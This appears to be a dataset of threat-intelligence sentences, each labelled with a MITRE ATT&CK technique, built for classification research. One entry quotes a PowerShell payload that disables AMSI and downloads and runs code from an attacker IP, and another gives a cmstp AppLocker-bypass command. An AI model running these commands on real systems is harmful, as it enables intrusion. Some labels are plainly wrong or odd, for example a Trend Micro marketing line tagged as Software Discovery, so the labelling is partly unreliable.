HoangCuongNguyen/CTI-to-MITRE-dataset huggingface dataset:
This history file is available to all sessions and contains all past history since the file is not deleted when the session ends.
Technique: T1070: Indicator Removal on Host
UNC2452 added their own devices as allowed IDs for active sync using Set-CASMailbox, allowing it to obtain copies of victim mailboxes.
Technique: T1098: Account Manipulation
Javali can monitor processes for open browsers and custom banking applications.
Technique: T1057: Process Discovery
Wizard Spider has exfiltrated victim information using FTP.
Technique: T1048: Exfiltration Over Alternative Protocol
After decoding their C2 server IP addresses, from obfuscated strings, both trojans will attempt to collect host information and send it to the C2 server.
Technique: T1082: System Information Discovery
For efficiency, many protocols  use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key.
Technique: T1573: Encrypted Channel
XCSSET uses RC4 encryption over TCP to communicate with its C2 server.
Technique: T1573: Encrypted Channel
Gamaredon Group has collected files from infected systems and uploaded them to a C2 server.
Technique: T1005: Data from Local System
Dark Caracal took screenshots using their Windows malware.
Technique: T1113: Screen Capture
Denis encodes the data sent to the server in Base64.
Technique: T1132: Data Encoding
By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making.
Technique: T1565: Data Manipulation
The actors also deleted specific Registry keys.
Technique: T1070: Indicator Removal on Host
Netwalker can add the following registry entry: HKEY_CURRENT_USER\SOFTWARE\{8 random characters}.
Technique: T1112: Modify Registry
Backdoor.Oldrea collects information about the Internet adapter configuration.
Technique: T1016: System Network Configuration Discovery
A new registry entry is created at HKEY_CURRENT_USERS\Software\Microsoft\Windows\CurrentVersion\Run\Graphics with a value of “C:\ ProgramData \ Initech \Initech.exe” /run.
Technique: T1547: Boot or Logon Autostart Execution
Keychain files are located in ~/Library/Keychains/,/Library/Keychains/, and /Network/Library/Keychains/.
Technique: T1555: Credentials from Password Stores
BlackEnergy is capable of taking screenshots.
Technique: T1113: Screen Capture
WEBC2 can download and execute a file.
Technique: T1105: Ingress Tool Transfer
Tropic Trooper has used Windows command scripts.
Technique: T1059: Command and Scripting Interpreter
zwShell can obtain the victim IP address.
Technique: T1016: System Network Configuration Discovery
HELLOKITTY can delete volume shadow copies on compromised hosts.
Technique: T1490: Inhibit System Recovery
HAWKBALL has the ability to delete files.
Technique: T1070: Indicator Removal on Host
MAGIC HOUND TOOLSET The Magic Hound attacks did not rely on exploit code to compromise targeted systems, instead relying on executables and Microsoft Office documents, specifically Excel and Word documents containing malicious macros
Technique: T1566: Phishing
Stealth Falcon malware uses WMI to script data collection and command execution on the victim.
Technique: T1059: Command and Scripting Interpreter
Resource forks have been deprecated and replaced with the application bundle structure.
Technique: T1564: Hide Artifacts
FALLCHILL has been installed as a Windows service.
Technique: T1543: Create or Modify System Process
TYPEFRAME can gather the disk volume information.
Technique: T1082: System Information Discovery
SideTwist can decode and decrypt messages received from C2.
Technique: T1140: Deobfuscate/Decode Files or Information
Astaroth encodes data using Base64 before sending it to the C2 server.
Technique: T1132: Data Encoding
Inveigh 
Technique: T1557: Adversary-in-the-Middle
* Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.
Technique: T1003: OS Credential Dumping
The credential harvesting attacks used spear-phishing emails that contained malicious Microsoft Office documents that leveraged the “attachedTemplate” technique to load a template from a remote server
Technique: T1566: Phishing
They achieve this by restricting traffic types to enforce organizational policy in an attempt to reduce the risk inherent in such connections.
Technique: T1599: Network Boundary Bridging
Higaisa used a function to gather the current time.
Technique: T1124: System Time Discovery
Invoke-Obfuscation calls the variable obfuscation technique used by the actors to obfuscate this script Random Case + {} + Ticks, which changes all variables in the script to have randomly cased characters, to be surrounded in curly braces and to include the tick (`) character, which is ignored in by PowerShell
Technique: T1027: Obfuscated Files or Information
Azorult can collect the username from the victim’s machine.
Technique: T1033: System Owner/User Discovery
Dragonfly 2.0 used the command query user on victim hosts.
Technique: T1033: System Owner/User Discovery
In these websites they hosted malware that was digitally signed with a valid, likely stolen code signing certificate Based on VirusTotal uploads, malicious documents content, and known victims – other targeted organisations are located in Turkey, Qatar, Kuwait, United Arab Emirates, Saudi Arabia, and Lebanon
Technique: T1553: Subvert Trust Controls
Helminth samples have been signed with legitimate, compromised code signing certificates owned by software company AI Squared.
Technique: T1553: Subvert Trust Controls
Dyre has the ability to achieve persistence by adding a new task in the task scheduler to run every minute.
Technique: T1053: Scheduled Task/Job
Adversaries may also use stolen password hashes to "overpass the hash."
Technique: T1550: Use Alternate Authentication Material
BADCALL collects the computer name and host name on the compromised system.
Technique: T1082: System Information Discovery
Interactive command shells may be in use, and common functionality within cmd may be used to gather information.
Technique: T1039: Data from Network Shared Drive
CopyKittens uses rundll32 to load various tools on victims, including a lateral movement tool named Vminst, Cobalt Strike, and shellcode.
Technique: T1218: Signed Binary Proxy Execution
Two of them are MacOS X User-Agents and the third is a hashed string:  Mozilla/5.0 (iPad; U; CPU OS 3_2_1 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Mobile/BADDAD Mozilla/5.0 (iPad; U; CPU OS 3_2_1 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Mobile/7B405   E9BC3BD76216AFA560BFB5ACAF5731A3   Figure 5: SpeakUp `s requests are encrypted with the salted base64 and include the unique User-Agent At the moment SpeakUp serves XMRig miners to its listening infected servers
Technique: T1082: System Information Discovery
DOGCALL is capable of leveraging cloud storage APIs such as Cloud, Box, Dropbox, and Yandex for C2.
Technique: T1102: Web Service
The APT1 group is known to have used RDP during operations.
Technique: T1021: Remote Services
Zeus Panda collects the current system time  and sends it back to the C2 server.
Technique: T1124: System Time Discovery
Webshell has the ability to modify file permissions.
Technique: T1222: File and Directory Permissions Modification
GrimAgent has the ability to download and execute additional payloads.
Technique: T1105: Ingress Tool Transfer
DarkVishnya performed port scanning to obtain the list of active services.
Technique: T1046: Network Service Scanning
SYSCON has been executed by luring victims to open malicious e-mail attachments.
Technique: T1204: User Execution
Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging User Execution.
Technique: T1566: Phishing
More_eggs has the capability to gather the OS version and computer name.
Technique: T1082: System Information Discovery
Bisonal's DLL file and non-malicious decoy file are encrypted with RC4.
Technique: T1027: Obfuscated Files or Information
menuPass has used certutil in a macro to decode base64-encoded content contained in a dropper document attached to an email.
Technique: T1140: Deobfuscate/Decode Files or Information
If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level.
Technique: T1574: Hijack Execution Flow
Brave Prince lists the running processes.
Technique: T1057: Process Discovery
On macOS 10.10 Yosemite and higher, AppleScript has the ability to execute Native APIs, which otherwise would require compilation and execution in a mach-O binary file format..
Technique: T1059: Command and Scripting Interpreter
While invoking API functions, adversaries may also attempt to bypass defensive tools .
Technique: T1106: Native API
Dridex contains a module for VNC.
Technique: T1219: Remote Access Software
Tools may be placed on infrastructure that was previously purchased/rented by the adversary  or was otherwise compromised by them .
Technique: T1608: Stage Capabilities
Elise executes net user after initial communication is made to the remote server.
Technique: T1087: Account Discovery
Chimera has used the NtdsAudit utility to collect information related to accounts and passwords.
Technique: T1201: Password Policy Discovery
Adversaries may compromise accounts with services that can be used during targeting.
Technique: T1586: Compromise Accounts
Waterbear has the ability to decrypt its RC4 encrypted payload for execution.
Technique: T1140: Deobfuscate/Decode Files or Information
SpicyOmelette can download malicious files from threat actor controlled AWS URL's.
Technique: T1105: Ingress Tool Transfer
Magic Hound has registered fraudulent domains such as "mail-newyorker.com" and "news12.com.recover-session-service.site" to target specific victims with phishing attacks.
Technique: T1583: Acquire Infrastructure
IcedID has used ZwQueueApcThread to inject itself into remote processes.
Technique: T1055: Process Injection
BLUELIGHT can collect the local time on a compromised host.
Technique: T1124: System Time Discovery
VBShower has the ability to download VBS files to the target computer.
Technique: T1105: Ingress Tool Transfer
RTM can obtain information about security software on the victim.
Technique: T1518: Software Discovery
When scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over C2 Channel or Exfiltration Over Alternative Protocol.
Technique: T1029: Scheduled Transfer
PUNCHBUGGY has saved information to a random temp file before exfil.
Technique: T1074: Data Staged
APT39 has used tools capable of stealing contents of the clipboard.
Technique: T1115: Clipboard Data
Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system.
Technique: T1564: Hide Artifacts
Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign HTML files.
Technique: T1027: Obfuscated Files or Information
Janicab captured screenshots and sent them out to a C2 server.
Technique: T1113: Screen Capture
MURKYTOP has the capability to retrieve information about users on remote hosts.
Technique: T1087: Account Discovery
APT38 has used Hermes ransomware to encrypt files with AES256.
Technique: T1486: Data Encrypted for Impact
APT38 has collected browser bookmark information to learn more about compromised hosts, obtain personal information about users, and acquire details about internal network resources.
Technique: T1217: Browser Bookmark Discovery
Ursnif has used Registry modifications as part of its installation routine.
Technique: T1112: Modify Registry
Personas may exist on a single site or across multiple sites .
Technique: T1586: Compromise Accounts
OSX/Shlayer executes a .command script from a hidden directory in a mounted DMG.
Technique: T1564: Hide Artifacts
WHOIS data is stored by regional Internet registries  responsible for allocating and assigning Internet resources such as domain names.
Technique: T1596: Search Open Technical Databases
Encoded Payload   Decoded Payload     MD5   Size   Import Hash   Exported Function   Version    aa3f303c3319b14b4829fe2faa5999c1  322164  182ee99b4f0803628c30411b1faa9992  l7MF25T96n45qOGWX  5.3.2    126067d634d94c45084cbe1d9873d895  330804  5f45532f947501cf024d84c36e3a19a1  hJvTJcdAU3mNkuvGGq7L  5.4.1    fce54b4886cac5c61eda1e7605483ca3  345812  c1942a0ca397b627019dace26eca78d8  WcuH  5.4.1    Table 2: Static characteristics of UPPERCUT Another new feature in the latest UPPERCUT sample is that the malware sends an error code in the Cookie header if it fails to receive the HTTP response from the command and control (C2) server
Technique: T1132: Data Encoding
Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.
Technique: T1485: Data Destruction
Gold Dragon checks the running processes on the victim’s machine.
Technique: T1057: Process Discovery
On embedded devices, downgrading the version typically only requires replacing the operating system file in storage.
Technique: T1601: Modify System Image
Internal spearphishing is multi-staged attack where an email account is owned either by controlling the user's device with previously installed malware or by compromising the account credentials of the user.
Technique: T1534: Internal Spearphishing
Attor has manipulated the time of last access to files and registry keys after they have been created or modified.
Technique: T1070: Indicator Removal on Host
TeamTNT has searched for unsecured SSH keys.
Technique: T1552: Unsecured Credentials
Cardinal RAT sets HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Load to point to its executable.
Technique: T1112: Modify Registry
APT37's has added persistence via the Registry key HKCU\Software\Microsoft\CurrentVersion\Run\.
Technique: T1547: Boot or Logon Autostart Execution
Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.
Technique: T1583: Acquire Infrastructure
Adversaries can use stolen session cookies to authenticate to web applications and services.
Technique: T1550: Use Alternate Authentication Material
Valak has the ability to modify the Registry key HKCU\Software\ApplicationContainer\Appsw64 to store information regarding the C2 server and downloads.
Technique: T1112: Modify Registry
Adversaries may inject malicious code into processes via the /proc filesystem in order to evade process-based defenses as well as possibly elevate privileges.
Technique: T1055: Process Injection
ZIRCONIUM has used multi-stage packers for exploit code.
Technique: T1027: Obfuscated Files or Information
REvil can mark its binary code for deletion after reboot.
Technique: T1070: Indicator Removal on Host
Examples of existing defenses that can be impeded include encryption, via Weaken Encryption, authentication, via Network Device Authentication, and perimeter defenses, via Network Boundary Bridging.
Technique: T1601: Modify System Image
Its purpose is to load Msadoz<n>.dll in order to decrypt and execute it in memory
Technique: T1140: Deobfuscate/Decode Files or Information
GreyEnergy encrypts communications using AES256.
Technique: T1573: Encrypted Channel
OSX/Shlayer can download payloads, and extract bytes from files.
Technique: T1105: Ingress Tool Transfer
RainyDay can decrypt its payload via a XOR key.
Technique: T1140: Deobfuscate/Decode Files or Information
Some archival libraries are preinstalled on systems, such as bzip2 on macOS and Linux, and zip on Windows.
Technique: T1560: Archive Collected Data
HighShell v5.0 explorer tab allows actor to navigate the file system The HighShell v7.1 variant from the data dump contains similar functionality to its predecessors and continued the tabular approach but expanded even further by splitting out the main functionality across multiple tabs, specifically “Command”, “Explorer”, “Upload”, “Download”, “Sql Server” and “Change Time”
Technique: T1105: Ingress Tool Transfer
Adversaries may choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network
Technique: T1011: Exfiltration Over Other Network Medium
Peppy can identify specific files for exfiltration.
Technique: T1083: File and Directory Discovery
Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information.
Technique: T1213: Data from Information Repositories
FinFisher establishes persistence by creating the Registry key HKCU\Software\Microsoft\Windows\Run.
Technique: T1547: Boot or Logon Autostart Execution
If the base image already resides in a local registry, the pull may be considered even less suspicious since the image is already in the environment.
Technique: T1612: Build Image on Host
Operators deploying Netwalker have used batch scripts to retrieve the Netwalker payload.
Technique: T1059: Command and Scripting Interpreter
AuditCred encrypts the configuration.
Technique: T1027: Obfuscated Files or Information
Links may also direct users to malicious applications  designed to Steal Application Access Tokens, like OAuth tokens, in order to gain access to protected applications and information.
Technique: T1566: Phishing
SodaMaster can check for the presence of the Registry key HKEY_CLASSES_ROOT\\Applications\\VMwareHostOpen.exe before proceeding to its main functionality.
Technique: T1497: Virtualization/Sandbox Evasion
They have also dumped credentials from domain controllers.
Technique: T1003: OS Credential Dumping
LoudMiner harvested system resources to mine cryptocurrency, using XMRig to mine Monero.
Technique: T1496: Resource Hijacking
/etc/passwd 
Technique: T1087: Account Discovery
APT41 modified legitimate Windows services to install malware backdoors.
Technique: T1543: Create or Modify System Process
Modifications to domain settings may include altering domain Group Policy Objects  or changing trust settings for domains, including federation trusts.
Technique: T1484: Domain Policy Modification
DDKONG uses Rundll32 to ensure only a single instance of itself is running at once.
Technique: T1218: Signed Binary Proxy Execution
Lazarus Group has developed several custom malware for use in operations.
Technique: T1587: Develop Capabilities
Gathering this information may reveal opportunities for other forms of reconnaissance  or Search Open Websites/Domains, establishing operational resources  or Compromise Accounts, and/or initial access .
Technique: T1591: Gather Victim Org Information
LightNeuron can be configured to automatically exfiltrate files under a specified directory.
Technique: T1020: Automated Exfiltration
LTD. Stuxnet used a digitally signed driver with a compromised Realtek certificate.
Technique: T1553: Subvert Trust Controls
Machete collects the MAC address of the target computer and other network configuration information.
Technique: T1016: System Network Configuration Discovery
As of macOS Sierra, the sudoers file has tty_tickets enabled by default.
Technique: T1548: Abuse Elevation Control Mechanism
Use of multiple stages may obfuscate the command and control channel to make detection more difficult.
Technique: T1104: Multi-Stage Channels
down_new has the ability to gather information on installed applications.
Technique: T1518: Software Discovery
Rather than developing their own exploits, an adversary may find/modify exploits from online or purchase them from exploit vendors.
Technique: T1588: Obtain Capabilities
Taidoor has relied upon a victim to click on a malicious email attachment.
Technique: T1204: User Execution
Lazarus Group malware IndiaIndia obtains and sends to its C2 server information about the first network interface card’s configuration, including IP address, gateways, subnet mask, DHCP information, and whether WINS is available.
Technique: T1016: System Network Configuration Discovery
Any user or administrator within the organization  can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more.
Technique: T1114: Email Collection
PoetRAT has called cmd through a Word document macro.
Technique: T1059: Command and Scripting Interpreter
Additional information In the advanced stages of this research, we were able not only to observe additional files and tools from the attackers’ arsenal but also some OPSEC mistakes made by the attackers
Technique: T1105: Ingress Tool Transfer
NOKKI has downloaded a remote module for execution.
Technique: T1105: Ingress Tool Transfer
Other malware has obtained the OS version, UUID, and computer/host name to send to the C2 server.
Technique: T1082: System Information Discovery
Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges. .   Exaramel for Linux has a hardcoded location that it uses to achieve persistence if the startup system is Upstart or System V and it is running as root.
Technique: T1543: Create or Modify System Process
Proton kills security tools like Wireshark that are running.
Technique: T1562: Impair Defenses
Crutch has conducted C2 communications with a Dropbox account using the HTTP API.
Technique: T1071: Application Layer Protocol
This action is repeated until the dwell time value is bigger or equal to the dwell time value for the standby mode
Technique: T1124: System Time Discovery
Elise enumerates processes via the tasklist command.
Technique: T1057: Process Discovery
Malicious files will be transmitted directly as attachments or through links to download them.
Technique: T1203: Exploitation for Client Execution
OilRig has used HTTP for C2.
Technique: T1071: Application Layer Protocol
Windows Transactional NTFS  was introduced in Vista as a method to perform safe file operations.
Technique: T1055: Process Injection
POWRUNER persists through a scheduled task that executes it every minute.
Technique: T1053: Scheduled Task/Job
This script relays commands and output between the controller and the system
Technique: T1059: Command and Scripting Interpreter
StrongPity can add directories used by the malware to the Windows Defender exclusions list to prevent detection.
Technique: T1562: Impair Defenses
Unlike a previously reported variant, this version of BADNEWS no longer looks at USB drives for interesting files
Technique: T1083: File and Directory Discovery
Placing a program within a startup folder will also cause that program to execute when a user logs in.
Technique: T1547: Boot or Logon Autostart Execution
BadPatch stores collected data in log files before exfiltration.
Technique: T1074: Data Staged
GrimAgent can use an AES key to encrypt C2 communications.
Technique: T1573: Encrypted Channel
Bankshot collects files from the local system.
Technique: T1005: Data from Local System
APT28 has collected files from network shared drives.
Technique: T1039: Data from Network Shared Drive
ChinaChopper web shell
Technique: T1505: Server Software Component
Pysa has the functionality to delete shadow copies.
Technique: T1490: Inhibit System Recovery
Lazarus Group has renamed the TAINTEDSCRIBE main executable to disguise itself as Microsoft's narrator.
Technique: T1036: Masquerading
Olympic Destroyer uses the API call ChangeServiceConfigW to disable all services on the affected system.
Technique: T1489: Service Stop
TrickBot establishes persistence by creating an autostart service that allows it to run whenever the machine boots.
Technique: T1543: Create or Modify System Process
Carberp has removed various hooks before installing the trojan or bootkit to evade sandbox analysis or other analysis software.
Technique: T1497: Virtualization/Sandbox Evasion
Magic Hound granted compromised email accounts read access to the email boxes of additional targeted accounts.
Technique: T1098: Account Manipulation
By utilizing a web service, adversaries can make it difficult to physically tie back operations to them.
Technique: T1583: Acquire Infrastructure
Adversaries may transfer tools or other files from an external system into a compromised environment.
Technique: T1105: Ingress Tool Transfer
Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems.
Technique: T1203: Exploitation for Client Execution
Darkhotel malware can obtain system time from a compromised host.
Technique: T1124: System Time Discovery
The PowerShell command decodes to the following:$command = 'WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAHIAdgBlAHIAQwBlAHIAdABpAGYAaQBjAGEAdABlAFYAYQBsAGkAZABhAHQAaQBvAG4AQwBhAGwAbABiAGEAYwBrACAAPQAgAHsAJAB0AHIAdQBlAH0AOwAKACAAIAAgACAAdAByAHkAewAgAAoAIAAgACAAIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAJwBTAHkAcwB0AGUAbQAuAE0AYQBuAGEAZwBlAG0AZQBuAHQALgBBAHUAdABvAG0AYQB0AGkAbwBuAC4AQQBtAHMAaQBVAHQAaQBsAHMAJwApAC4ARwBlAHQARgBpAGUAbABkACgAJwBhAG0AcwBpAEkAbgBpAHQARgBhAGkAbABlAGQAJwAsACAAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMAZQB0AFYAYQBsAHUAZQAoACQAbgB1AGwAbAAsACAAJAB0AHIAdQBlACkACgAgACAAIAAgAH0AYwBhAHQAYwBoAHsAfQAKACAAIAAgACAASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAzADkALgA1ADkALgA0ADYALgAxADUANAA6ADMANAA4ADUALwBJAE0AbwA4AG8AbwBzAGkAZQBWAGEAaQAnACkAOwAKACAAIAAgACAA'         if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64')          {                          $exec = $Env:windir + '\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -exec bypass -window hidden -noni -nop -encoded ' + $command             IEX $exec         }         else         {             $exec = [System.Convert]::FromBase64String($command)             $exec = [Text.Encoding]::Unicode.GetString($exec)             IEX $exec         }The script above checks the system architecture to determine if it is an x64 machine and attempts to execute a base64 encoded command that decodes to the following:[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};     try{      [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic,Static').SetValue($null, $true)     }catch{}     IEX (New-Object Net.WebClient).DownloadString('http:// 139.59.46[.]154:3485 /IMo8oosieVai');This decoded PowerShell script attempts to download and execute a file using HTTP from the URL “hxxp:// 139.59.46[.]154:3485 /IMo8oosieVai”
Technique: T1546: Event Triggered Execution
Kimsuky has executed a variety of PowerShell scripts.
Technique: T1059: Command and Scripting Interpreter
OilRig has used Remote Desktop Protocol for lateral movement.
Technique: T1021: Remote Services
The token can then be used with ImpersonateLoggedOnUser to allow the calling thread to impersonate a logged on user's security context, or with SetThreadToken to assign the impersonated token to a thread.
Technique: T1134: Access Token Manipulation
Zeus Panda modifies several Registry keys under HKCU\Software\Microsoft\Internet Explorer\ PhishingFilter\ to disable phishing filters.
Technique: T1112: Modify Registry
Sandworm Team has used a tool to query Active Directory using LDAP, discovering information about usernames listed in AD.
Technique: T1087: Account Discovery
As part of the anti-debugging or anti-monitoring techniques, ShellTea iterates over all the running processes, applies CRC32 on each process name (after converting the string to capital letters), and then compares the value against a predefined set of CRCs.
Technique: T1057: Process Discovery
Windigo has used a script to detect installed software on targeted systems.
Technique: T1518: Software Discovery
Dtrack can collect the host's IP addresses using the ipconfig command.
Technique: T1016: System Network Configuration Discovery
The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis.
Technique: T1207: Rogue Domain Controller
Gamaredon Group malware has collected Microsoft Office documents from mapped network drives.
Technique: T1039: Data from Network Shared Drive
Kerrdown can use a VBS base64 decoder function published by Motobit.
Technique: T1059: Command and Scripting Interpreter
Adversaries may use commands such as gpresult or various publicly available PowerShell functions, such as Get-DomainGPO and Get-DomainGPOLocalGroup, to gather information on Group Policy settings.
Technique: T1615: Group Policy Discovery
Raindrop was installed under names that resembled legitimate Windows file and directory names.
Technique: T1036: Masquerading
GoldenSpy has used the Ryeol HTTP Client to facilitate HTTP internet communication.
Technique: T1071: Application Layer Protocol
Masquerading may increase the chance of users mistakenly executing these files.
Technique: T1608: Stage Capabilities
COM + hijack in same sentence
Technique: T1546: Event Triggered Execution
TYPEFRAME can uninstall malware components using a batch script.
Technique: T1059: Command and Scripting Interpreter
Adversaries may match or approximate the name or location of legitimate files or resources when naming/placing them.
Technique: T1036: Masquerading
Carbanak checks the Registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings for proxy configurations information.
Technique: T1012: Query Registry
SpicyOmelette has been signed with valid digital certificates.
Technique: T1553: Subvert Trust Controls
APT32 includes garbage code to mislead anti-malware software and researchers.
Technique: T1027: Obfuscated Files or Information
FIN6 has used tools like Adfind to query users, groups, organizational units, and trusts.
Technique: T1069: Permission Groups Discovery
Initial Compromise For initial compromise, FireEye Intelligence has observed APT39 leverage spear phishing emails with malicious attachments and/or hyperlinks typically resulting in a POWBAT infection
Technique: T1566: Phishing
Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications.
Technique: T1548: Abuse Elevation Control Mechanism
Adversaries may gather credentials via APIs within a containers environment.
Technique: T1552: Unsecured Credentials
MuddyWater has specifically targeted government agency employees with spearphishing e-mails.
Technique: T1589: Gather Victim Identity Information
Adversaries may establish persistence through executing malicious commands triggered by a user’s shell.
Technique: T1546: Event Triggered Execution
APT18 obfuscates strings in the payload.
Technique: T1027: Obfuscated Files or Information
Chimera has used compromised domain accounts to gain access to the target environment.
Technique: T1078: Valid Accounts
ISMInjector hollows out a newly created process RegASM.exe and injects its payload into the hollowed process.
Technique: T1055: Process Injection
Operation Wocao has obtained the password for the victim's password manager via a custom keylogger.
Technique: T1056: Input Capture
The Trojan uses the first four bytes of this hardware ID as a unique identifier for the system, which in our case was “0000”
Technique: T1082: System Information Discovery
Wizard Spider has injected malicious DLLs into memory with read, write, and execute permissions.
Technique: T1055: Process Injection
Bandook can collect information about the drives available on the system.
Technique: T1082: System Information Discovery
Patchwork has signed malware with self-signed certificates from fictitious and spoofed legitimate software companies.
Technique: T1553: Subvert Trust Controls
Some malware targets the termination of a program to trigger execution, adversaries can use the ~/.bash_logout file to execute malicious commands at the end of a session.
Technique: T1546: Event Triggered Execution
BLUELIGHT has a XOR-encoded payload.
Technique: T1027: Obfuscated Files or Information
Otherwise, the Trojan will attempt to parse the response for a command, specifically by splitting the decode response on <> and treating the text to the left of the <> string as the command the text to the right as the command arguments
Technique: T1059: Command and Scripting Interpreter
Denis has a command to delete files from the victim’s machine.
Technique: T1070: Indicator Removal on Host
Dtrack’s dropper can list all running processes.
Technique: T1057: Process Discovery
Carberp can start a remote VNC session by downloading a new plugin.
Technique: T1021: Remote Services
Adversaries may modify XDG autostart entries to execute programs or commands during system boot.
Technique: T1547: Boot or Logon Autostart Execution
Adversaries may also compile WMI scripts into Windows Management Object  files  that can be used to create a malicious subscription.
Technique: T1546: Event Triggered Execution
AuditCred uses XOR and RC4 to perform decryption on the code functions.
Technique: T1140: Deobfuscate/Decode Files or Information
APT28 has intentionally deleted computer files to cover their tracks, including with use of the program CCleaner.
Technique: T1070: Indicator Removal on Host
Service principal names  are used to uniquely identify each instance of a Windows service.
Technique: T1558: Steal or Forge Kerberos Tickets
Smart, optimized, and connected, XGen security powers Trend Micro’s suite of security solutions: Hybrid Cloud Security, User Protection, and Network Defense
Technique: T1518: Software Discovery
APT29 used AUDITPOL to prevent the collection of audit logs.
Technique: T1562: Impair Defenses
Access is usually obtained through compromising accounts used to manage cloud infrastructure.
Technique: T1535: Unused/Unsupported Cloud Regions
Whitefly has used malicious .exe or .dll files disguised as documents or images.
Technique: T1204: User Execution
Lazarus Group malware SierraAlfa accesses the ADMIN$ share via SMB to conduct lateral movement.
Technique: T1021: Remote Services
Ramsay can use the Windows COM API to schedule tasks and maintain persistence.
Technique: T1559: Inter-Process Communication
Adversaries may target user email on local systems to collect sensitive information.
Technique: T1114: Email Collection
Leviathan has exfiltrated data over its C2 channel.
Technique: T1041: Exfiltration Over C2 Channel
They may also be found as parameters to deployment commands in container logs.
Technique: T1552: Unsecured Credentials
Cobalt Group has used the command cmstp.exe /s /ns C:\Users\ADMINI~W\AppData\Local\Temp\XKNqbpzl.txt to bypass AppLocker and launch a malicious script.
Technique: T1218: Signed Binary Proxy Execution
Rancor launched a scheduled task to gain persistence using the schtasks /create /sc command.
Technique: T1053: Scheduled Task/Job
Ixeshe can list running processes.
Technique: T1057: Process Discovery
APT39 has utilized tools to capture mouse movements.
Technique: T1056: Input Capture
CoinTicker executes a bash script to establish a reverse shell.
Technique: T1059: Command and Scripting Interpreter
PUNCHBUGGY can load a DLL using Rundll32.
Technique: T1218: Signed Binary Proxy Execution
Attor has a file uploader plugin that automatically exfiltrates the collected data and log files to the C2 server.
Technique: T1020: Automated Exfiltration
APT3 will identify Microsoft Office documents on the victim's computer.
Technique: T1005: Data from Local System
Adversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR /NBT-NS  traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system.
Technique: T1557: Adversary-in-the-Middle
ServHelper can execute shell commands against cmd.
Technique: T1059: Command and Scripting Interpreter
ServHelper uses HTTP for C2.
Technique: T1071: Application Layer Protocol
* In some cases a second visit to the website after the initial scan is required before exploit code is delivered.
Technique: T1189: Drive-by Compromise
Regin has used a hidden file system to store some of its components.
Technique: T1564: Hide Artifacts
RATANKBA uses WMI to perform process monitoring.
Technique: T1047: Windows Management Instrumentation
Naikon has used a netbios scanner for remote machine identification.
Technique: T1018: Remote System Discovery
Leviathan has compromised social media accounts to conduct social engineering attacks.
Technique: T1586: Compromise Accounts
Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process.
Technique: T1055: Process Injection
The GuLoader executable has been retrieved via embedded macros in malicious Word documents.
Technique: T1204: User Execution
However, live memory modification of the operating system can be combined with ROMMONkit to achieve persistence.
Technique: T1601: Modify System Image
TSCookie can multiple protocols including HTTP and HTTPS in communication with command and control  servers.
Technique: T1071: Application Layer Protocol
Octopus can collect system drive information, the computer name, and the size of the disk.
Technique: T1082: System Information Discovery
Honeybee embeds a Visual Basic script within a malicious Word document as part of initial access; the script is executed when the Word document is opened.
Technique: T1059: Command and Scripting Interpreter
Adversaries may develop malware to support their operations, creating a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.
Technique: T1587: Develop Capabilities
Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers.
Technique: T1498: Network Denial of Service
Okrum's loader can check the amount of physical memory and terminates itself if the host has less than 1.5 Gigabytes of physical memory in total.
Technique: T1497: Virtualization/Sandbox Evasion
Adversaries may send spearphishing messages via third-party services in an attempt to gain access to victim systems.
Technique: T1566: Phishing
PoisonIvy uses the Camellia cipher to encrypt communications.
Technique: T1573: Encrypted Channel
APT19 also used an HTTP malware variant to communicate over HTTP for C2.
Technique: T1071: Application Layer Protocol
PLAINTEE collects general system enumeration data about the infected machine and checks the OS version.
Technique: T1082: System Information Discovery
BackConfig has the ability to remove files and folders related to previous infections.
Technique: T1070: Indicator Removal on Host
Clop has used the sleep command to avoid sandbox detection.
Technique: T1497: Virtualization/Sandbox Evasion
